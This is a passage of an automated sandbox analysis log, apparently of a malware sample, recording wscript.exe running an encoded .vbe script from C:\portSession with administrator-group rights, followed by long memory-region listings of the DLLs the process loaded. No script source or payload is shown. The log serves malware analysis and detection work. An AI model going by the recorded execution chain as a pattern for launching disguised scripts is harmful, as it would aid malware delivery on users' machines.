(lpLibFileName="api-ms-win-appmodel-runtime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x772e0000 [0072.713] GetProcAddress (hModule=0x772e0000, lpProcName="GetCurrentPackageId") returned 0x772e2c90 [0072.713] GetCurrentPackageId () returned 0x3d54 [0072.713] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fcd0 | out: phModule=0x18fcd0) returned 0 [0072.713] ExitProcess (uExitCode=0x0) [0072.713] HeapFree (in: hHeap=0x4bc0000, dwFlags=0x0, lpMem=0x4bca6c0 | out: hHeap=0x4bc0000) returned 1 Thread: id = 2 os_tid = 0xd30 Thread: id = 3 os_tid = 0x57c Thread: id = 4 os_tid = 0x610 Thread: id = 5 os_tid = 0x1c4 Thread: id = 6 os_tid = 0xd34 Thread: id = 7 os_tid = 0xd58 Thread: id = 9 os_tid = 0xd3c Process: id = "2" image_name = "wscript.exe" filename = "c:\\windows\\syswow64\\wscript.exe" page_root = "0x5bed4000" os_pid = "0x22c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xd28" cmd_line = "\"C:\\Windows\\System32\\WScript.exe\" \"C:\\portSession\\lBH8Ae92LPQZTdOYGlDr.vbe\" " cur_dir = "C:\\portSession\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f443" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 406 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 407 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 408 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 409 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 410 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 411 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 412 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 413 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 414 start_va = 0x4a0000 end_va = 0x4a1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 415 start_va = 0x1320000 end_va = 0x1347fff monitored = 0 entry_point = 0x1327a20 region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\SysWOW64\\wscript.exe" (normalized: "c:\\windows\\syswow64\\wscript.exe") Region: id = 416 start_va = 0x1350000 end_va = 0x534ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001350000" filename = "" Region: id = 417 start_va = 0x77650000 end_va = 0x777cafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 418 start_va = 0x7ea40000 end_va = 0x7ea62fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ea40000" filename = "" Region: id = 419 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 420 start_va = 0x7fff0000 end_va = 0x7dfb201affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 421 start_va = 0x7dfb201b0000 end_va = 0x7ffb201affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfb201b0000" filename = "" Region: id = 422 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 423 start_va = 0x7ffb20371000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffb20371000" filename = "" Region: id = 426 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 427 start_va = 0x533d0000 end_va = 0x5341ffff monitored = 0 entry_point = 0x533e8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 428 start_va = 0x53420000 end_va = 0x53499fff monitored = 0 entry_point = 0x53433290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 429 start_va = 0x75820000 end_va = 0x758fffff monitored = 0 entry_point = 0x75833980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 430 start_va = 0x534a0000 end_va = 0x534a7fff monitored = 0 entry_point = 0x534a17c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 431 start_va = 0x5b0000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 432 start_va = 0x75820000 end_va = 0x758fffff monitored = 0 entry_point = 0x75833980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 433 start_va = 0x75c80000 end_va = 0x75dfdfff monitored = 0 entry_point = 0x75d31b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 434 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 435 start_va = 0x7e940000 end_va = 0x7ea3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e940000" filename = "" Region: id = 436 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 437 start_va = 0x4c0000 end_va = 0x4c3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 438 start_va = 0x77260000 end_va = 0x772dafff monitored = 0 entry_point = 0x7727e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 439 start_va = 0x754e0000 end_va = 0x7559dfff monitored = 0 entry_point = 0x75515630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 440 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 441 start_va = 0x5b0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 442 start_va = 0x740000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 443 start_va = 0x757d0000 end_va = 0x75813fff monitored = 0 entry_point = 0x757e9d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 444 start_va = 0x75900000 end_va = 0x759acfff monitored = 0 entry_point = 0x75914f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 445 start_va = 0x74380000 end_va = 0x7439dfff monitored = 0 entry_point = 0x7438b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 446 start_va = 0x74370000 end_va = 0x74379fff monitored = 0 entry_point = 0x74372a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 447 start_va = 0x755b0000 end_va = 0x75607fff monitored = 0 entry_point = 0x755f25c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 448 start_va = 0x74ec0000 end_va = 0x75006fff monitored = 0 entry_point = 0x74ed1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 449 start_va = 0x74a60000 end_va = 0x74baefff monitored = 0 entry_point = 0x74b16820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 450 start_va = 0x74bb0000 end_va = 0x74c41fff monitored = 0 entry_point = 0x74be8cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 451 start_va = 0x75610000 end_va = 0x757ccfff monitored = 0 entry_point = 0x756f2a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 452 start_va = 0x75a90000 end_va = 0x75b7afff monitored = 0 entry_point = 0x75acd650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 455 start_va = 0x6fbb0000 end_va = 0x6fbb7fff monitored = 0 entry_point = 0x6fbb17b0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 456 start_va = 0x4d0000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 457 start_va = 0x4d0000 end_va = 0x4f9fff monitored = 0 entry_point = 0x4d5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 458 start_va = 0x590000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 459 start_va = 0x840000 end_va = 0x9c7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 460 start_va = 0x774d0000 end_va = 0x774fafff monitored = 0 entry_point = 0x774d5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 461 start_va = 0x9d0000 end_va = 0xb50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009d0000" filename = "" Region: id = 462 start_va = 0x5350000 end_va = 0x674ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005350000" filename = "" Region: id = 463 start_va = 0x4d0000 end_va = 0x4d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wscript.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\wscript.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wscript.exe.mui") Region: id = 464 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 465 start_va = 0x4e0000 end_va = 0x4e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 466 start_va = 0x772e0000 end_va = 0x772ebfff monitored = 0 entry_point = 0x772e3930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 467 start_va = 0x74250000 end_va = 0x742c4fff monitored = 0 entry_point = 0x74289a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 468 start_va = 0x4f0000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 528 start_va = 0xb60000 end_va = 0xe96fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 529 start_va = 0x510000 end_va = 0x520fff monitored = 1 entry_point = 0x517a20 region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\SysWOW64\\wscript.exe" (normalized: "c:\\windows\\syswow64\\wscript.exe") Region: id = 530 start_va = 0x6fca0000 end_va = 0x6fd20fff monitored = 0 entry_point = 0x6fcbb260 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll") Region: id = 531 start_va = 0x530000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 532 start_va = 0xea0000 end_va = 0xf9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 533 start_va = 0x77500000 end_va = 0x7761efff monitored = 0 entry_point = 0x77545980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 534 start_va = 0x4f0000 end_va = 0x4f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 535 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 536 start_va = 0xfa0000 end_va = 0x105bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000fa0000" filename = "" Region: id = 537 start_va = 0x4f0000 end_va = 0x4f3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 538 start_va = 0x74230000 end_va = 0x7424cfff monitored = 0 entry_point = 0x74233b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 539 start_va = 0x570000 end_va = 0x570fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 540 start_va = 0x759b0000 end_va = 0x75a33fff monitored = 0 entry_point = 0x759d6220 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 541 start_va = 0x580000 end_va = 0x580fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 542 start_va = 0x6fc20000 end_va = 0x6fc9efff monitored = 1 entry_point = 0x6fc51120 region_type = mapped_file name = "vbscript.dll" filename = "\\Windows\\SysWOW64\\vbscript.dll" (normalized: "c:\\windows\\syswow64\\vbscript.dll") Region: id = 543 start_va = 0x6fc10000 end_va = 0x6fc1cfff monitored = 0 entry_point = 0x6fc163e0 region_type = mapped_file name = "amsi.dll" filename = "\\Windows\\SysWOW64\\amsi.dll" (normalized: "c:\\windows\\syswow64\\amsi.dll") Region: id = 546 start_va = 0x6fbf0000 end_va = 0x6fc05fff monitored = 0 entry_point = 0x6fbfe7a0 region_type = mapped_file name = "mpoav.dll" filename = "\\Program Files (x86)\\Windows Defender\\MpOAV.dll" (normalized: "c:\\program files (x86)\\windows defender\\mpoav.dll") Region: id = 548 start_va = 0x6b0000 end_va = 0x6b0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "lbh8ae92lpqztdoygldr.vbe" filename = "\\portSession\\lBH8Ae92LPQZTdOYGlDr.vbe" (normalized: "c:\\portsession\\lbh8ae92lpqztdoygldr.vbe") Region: id = 549 start_va = 0x6fbe0000 end_va = 0x6fbe9fff monitored = 0 entry_point = 0x6fbe2420 region_type = mapped_file name = "wldp.dll" filename = "\\Windows\\SysWOW64\\wldp.dll" (normalized: "c:\\windows\\syswow64\\wldp.dll") Region: id = 550 start_va = 0x77350000 end_va = 0x774c7fff monitored = 0 entry_point = 0x773a8a90 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 564 start_va = 0x755a0000 end_va = 0x755adfff monitored = 0 entry_point = 0x755a5410 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 565 start_va = 0x74480000 end_va = 0x744c1fff monitored = 0 entry_point = 0x74496f10 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 572 start_va = 0x71680000 end_va = 0x71692fff monitored = 0 entry_point = 0x71689950 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 573 start_va = 0x706b0000 end_va = 0x706defff monitored = 0 entry_point = 0x706c95e0 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 574 start_va = 0x719c0000 end_va = 0x719dafff monitored = 0 entry_point = 0x719c9050 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 578 start_va = 0x6b0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 579 start_va = 0x6f0000 end_va = 0x6f0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "lbh8ae92lpqztdoygldr.vbe" filename = "\\portSession\\lBH8Ae92LPQZTdOYGlDr.vbe" (normalized: "c:\\portsession\\lbh8ae92lpqztdoygldr.vbe") Region: id = 580 start_va = 0x1060000 end_va = 0x115ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001060000" filename = "" Region: id = 581 start_va = 0x6fbd0000 end_va = 0x6fbd9fff monitored = 0 entry_point = 0x6fbd1be0 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\SysWOW64\\msisip.dll" (normalized: "c:\\windows\\syswow64\\msisip.dll") Region: id = 582 start_va = 0x75480000 end_va = 0x754d9fff monitored = 0 entry_point = 0x754a7e70 region_type = mapped_file name = "coml2.dll" filename = "\\Windows\\SysWOW64\\coml2.dll" (normalized: "c:\\windows\\syswow64\\coml2.dll") Region: id = 587 start_va = 0x6750000 end_va = 0x6b4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006750000" filename = "" Region: id = 588 start_va = 0x700000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "lbh8ae92lpqztdoygldr.vbe" filename = "\\portSession\\lBH8Ae92LPQZTdOYGlDr.vbe" (normalized: "c:\\portsession\\lbh8ae92lpqztdoygldr.vbe") Region: id = 589 start_va = 0x700000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 590 start_va = 0x1160000 end_va = 0x125ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001160000" filename = "" Region: id = 591 start_va = 0x6fb90000 end_va = 0x6fba8fff monitored = 1 entry_point = 0x6fb96420 region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\SysWOW64\\wshext.dll" (normalized: "c:\\windows\\syswow64\\wshext.dll") Region: id = 600 start_va = 0x75e00000 end_va = 0x771fefff monitored = 0 entry_point = 0x75fbb990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 601 start_va = 0x74c50000 end_va = 0x74c86fff monitored = 0 entry_point = 0x74c53b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 602 start_va = 0x74560000 end_va = 0x74a58fff monitored = 0 entry_point = 0x74767610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 609 start_va = 0x75a40000 end_va = 0x75a84fff monitored = 0 entry_point = 0x75a5de90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 610 start_va = 0x744d0000 end_va = 0x7455cfff monitored = 0 entry_point = 0x74519b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 611 start_va = 0x74430000 end_va = 0x74473fff monitored = 0 entry_point = 0x74437410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 612 start_va = 0x77620000 end_va = 0x7762efff monitored = 0 entry_point = 0x77622e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 613 start_va = 0x1260000 end_va = 0x1263fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001260000" filename = "" Region: id = 614 start_va = 0x6fb50000 end_va = 0x6fb84fff monitored = 1 entry_point = 0x6fb60410 region_type = mapped_file name = "scrobj.dll" filename = "\\Windows\\SysWOW64\\scrobj.dll" (normalized: "c:\\windows\\syswow64\\scrobj.dll") Region: id = 615 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 620 start_va = 0x6fb20000 end_va = 0x6fb42fff monitored = 1 entry_point = 0x6fb27b50 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx") Region: id = 621 start_va = 0x6fb00000 end_va = 0x6fb15fff monitored = 0 entry_point = 0x6fb021d0 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 622 start_va = 0x6fad0000 end_va = 0x6fafafff monitored = 0 entry_point = 0x6fad9a70 region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\SysWOW64\\scrrun.dll" (normalized: "c:\\windows\\syswow64\\scrrun.dll") Region: id = 629 start_va = 0x1270000 end_va = 0x127cfff monitored = 1 entry_point = 0x1277b50 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx") Region: id = 630 start_va = 0x1280000 end_va = 0x1280fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001280000" filename = "" Region: id = 631 start_va = 0x1290000 end_va = 0x12cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 632 start_va = 0x6750000 end_va = 0x684ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006750000" filename = "" Region: id = 633 start_va = 0x70320000 end_va = 0x7046afff monitored = 0 entry_point = 0x70381660 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 634 start_va = 0x12d0000 end_va = 0x130ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 635 start_va = 0x6850000 end_va = 0x694ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006850000" filename = "" Region: id = 636 start_va = 0x742d0000 end_va = 0x74361fff monitored = 0 entry_point = 0x74310380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 637 start_va = 0x6950000 end_va = 0x698ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006950000" filename = "" Region: id = 638 start_va = 0x6990000 end_va = 0x6a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006990000" filename = "" Region: id = 639 start_va = 0x6fa60000 end_va = 0x6facffff monitored = 0 entry_point = 0x6fa8d4e0 region_type = mapped_file name = "dlnashext.dll" filename = "\\Windows\\SysWOW64\\dlnashext.dll" (normalized: "c:\\windows\\syswow64\\dlnashext.dll") Region: id = 640 start_va = 0x6fa00000 end_va = 0x6fa56fff monitored = 0 entry_point = 0x6fa47e90 region_type = mapped_file name = "playtodevice.dll" filename = "\\Windows\\SysWOW64\\PlayToDevice.dll" (normalized: "c:\\windows\\syswow64\\playtodevice.dll") Region: id = 641 start_va = 0x6a90000 end_va = 0x6acffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006a90000" filename = "" Region: id = 642 start_va = 0x6ad0000 end_va = 0x6bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006ad0000" filename = "" Region: id = 643 start_va = 0x6bd0000 end_va = 0x6c0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006bd0000" filename = "" Region: id = 644 start_va = 0x6c10000 end_va = 0x6d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006c10000" filename = "" Region: id = 645 start_va = 0x6d10000 end_va = 0x6d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006d10000" filename = "" Region: id = 646 start_va = 0x6d50000 end_va = 0x6e4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006d50000" filename = "" Region: id = 647 start_va = 0x6f9e0000 end_va = 0x6f9fafff monitored = 0 entry_point = 0x6f9f36d0 region_type = mapped_file name = "devdispitemprovider.dll" filename = "\\Windows\\SysWOW64\\DevDispItemProvider.dll" (normalized: "c:\\windows\\syswow64\\devdispitemprovider.dll") Region: id = 648 start_va = 0x6f980000 end_va = 0x6f9d4fff monitored = 0 entry_point = 0x6f9a2ee0 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\SysWOW64\\MMDevAPI.dll" (normalized: "c:\\windows\\syswow64\\mmdevapi.dll") Region: id = 649 start_va = 0x6f950000 end_va = 0x6f971fff monitored = 0 entry_point = 0x6f9591f0 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 650 start_va = 0x6f760000 end_va = 0x6f947fff monitored = 0 entry_point = 0x6f7e04c0 region_type = mapped_file name = "wpdshext.dll" filename = "\\Windows\\SysWOW64\\wpdshext.dll" (normalized: "c:\\windows\\syswow64\\wpdshext.dll") Region: id = 651 start_va = 0x1310000 end_va = 0x1311fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001310000" filename = "" Region: id = 652 start_va = 0x6f5f0000 end_va = 0x6f75afff monitored = 0 entry_point = 0x6f65e360 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\gdiplus.dll") Region: id = 653 start_va = 0x70490000 end_va = 0x706abfff monitored = 0 entry_point = 0x7065bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 654 start_va = 0x6e50000 end_va = 0x6e53fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" 